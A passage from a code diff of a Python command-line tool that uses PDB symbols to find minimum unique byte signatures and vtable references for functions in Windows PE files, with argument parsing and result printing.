symbol=SymbolInfo(name="", rva=0), + error=f"Failed to parse PDB file: {e}" + ) + return + + if not pdb_parser.symbols: + yield SignatureResult( + symbol=SymbolInfo(name="", rva=0), + error="No symbols found in PDB" + ) + return + + # Find matching symbols + matches = pdb_parser.find_symbols(pattern) + + if not matches: + yield SignatureResult( + symbol=SymbolInfo(name=pattern, rva=0), + error=f"No symbols found matching pattern: {pattern}" + ) + return + + print(f"Found {len(matches)} symbol(s) matching pattern '{pattern}'\n", file=sys.stderr) + + # Analyze each matching symbol + for sym in matches: + sig_bytes, sig_len, match_count, section = pe_analyzer.find_minimum_unique_signature(sym.rva) + vtable_refs = pe_analyzer.find_vtable_references(sym.rva) + + error = None + if sig_bytes is None: + error = "Could not read bytes at RVA" + elif match_count > 1: + error = f"Warning: No unique signature found within {max_sig} bytes ({match_count} matches)" + elif match_count == 0: + error = f"Warning: Pattern not found in {section or 'any'} section (RVA may be invalid)" + + yield SignatureResult( + symbol=sym, + signature=sig_bytes, + signature_length=sig_len, + section=section, + match_count=match_count, + vtable_refs=vtable_refs, + error=error + ) + + +def print_result(result: SignatureResult): + """Print a single result in a clean, parseable format.""" + print("-" * 60) + + # Symbol name (both mangled and demangled if different) + demangled = demangle_symbol(result.symbol.name) + if demangled != result.symbol.name: + print(f"Symbol: {demangled}") + print(f"Mangled: {result.symbol.name}") + else: + print(f"Symbol: {result.symbol.name}") + + print(f"RVA: 0x{result.symbol.rva:08X}") + if result.section: + print(f"Section: {result.section}") + + if result.symbol.size > 0: + print(f"Size: {result.symbol.size} bytes") + + if result.error and result.signature is None: + print(f"Error: {result.error}") + else: + if result.signature: + sig_str = format_bytes(result.signature) + if result.match_count == 1: + print(f"Minimum Signature ({result.signature_length} bytes): {sig_str}") + else: + print(f"Signature ({result.signature_length} bytes, {result.match_count} matches): {sig_str}") + + if result.error: + print(f"Note: {result.error}") + + if result.vtable_refs: + print(f"VTable References ({len(result.vtable_refs)}):") + for ref_rva in result.vtable_refs: + print(f" 0x{ref_rva:08X}") + + print() + + +def main(): + parser = argparse.ArgumentParser( + description='Find minimum unique signatures for functions in PE files using PDB symbols.', + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=''' +Examples: + %(prog)s app.exe app.pdb "*::MyClass::*" + %(prog)s app.exe app.pdb "?Init@*" + %(prog)s app.exe app.pdb "??_7*@@6B@" (vtable pattern) + +Pattern Syntax: + * matches everything + ? matches any single character + [seq] matches any character in seq + [!seq] matches any character not in seq +''' + ) + + parser.add_argument('pe_file', help='Path to the PE file (.exe or .dll)') + parser.add_argument('pdb_file', help='Path to the PDB file') + parser.add_argument('pattern', help='Symbol pattern (supports wildcards)') + parser.add_argument('-v', '--verbose', action='store_true', + help='Enable verbose output') + parser.add_argument('--min-sig', type=int, default=8, + help='Minimum signature length (default: 8)') + parser.add_argument('--max-sig', type=int, default=64, + help='Maximum signature length (default: 64)') + parser.add_argument('--list-symbols', action='store_true', + help='List all symbols without signature analysis') + + args = parser.parse_args() + + # Validate files exist + if not Path(args.pe_file).exists(): + print(f"Error: PE file not found: {args.pe_file}", file=sys.stderr) + sys.exit(1) + + if not Path(args.pdb_file).exists(): + print(f"Error: PDB file not found: {args.pdb_file}", file=sys.stderr) + sys.exit(1) + + print(f"Analyzing: {args.pe_file}") + print(f"PDB: {args.pdb_file}") + print(f"Pattern: {args.pattern}") + print() + + if args.list_symbols: + # Just list matching symbols + try: + pe = pefile.PE(args.pe_file) + pdb_parser = PDBParser(args.pdb_file, pe, verbose=args.verbose) + matches = pdb_parser.find_symbols(args.pattern) + print(f"Found {len(matches)} matching symbol(s):\n") + for sym in matches: + demangled = demangle_symbol(sym.name) + if demangled != sym.name: + print(f"0x{sym.rva:08X}: {demangled}") + print(f" {sym.name}") + else: + print(f"0x{sym.rva:08X}: {sym.name}") + except Exception as e: + print(f"Error: {e}", file=sys.stderr) + sys.exit(1) + return + + # Run full analysis + results = list(analyze_symbols( + args.pe_file, args.pdb_file, args.pattern, + min_sig=args.min_sig, max_sig=args.max_sig, + verbose=args.verbose + )) + + for result in results: + print_result(result) + + # Summary + successful = sum(1 for r in results if r.signature is not None and r.match_count == 1) + total = len(results) + print("=" * 60) + print(f"Summary: {successful}/{total} symbols with unique signatures found") + + +if __name__ == '__main__': + main()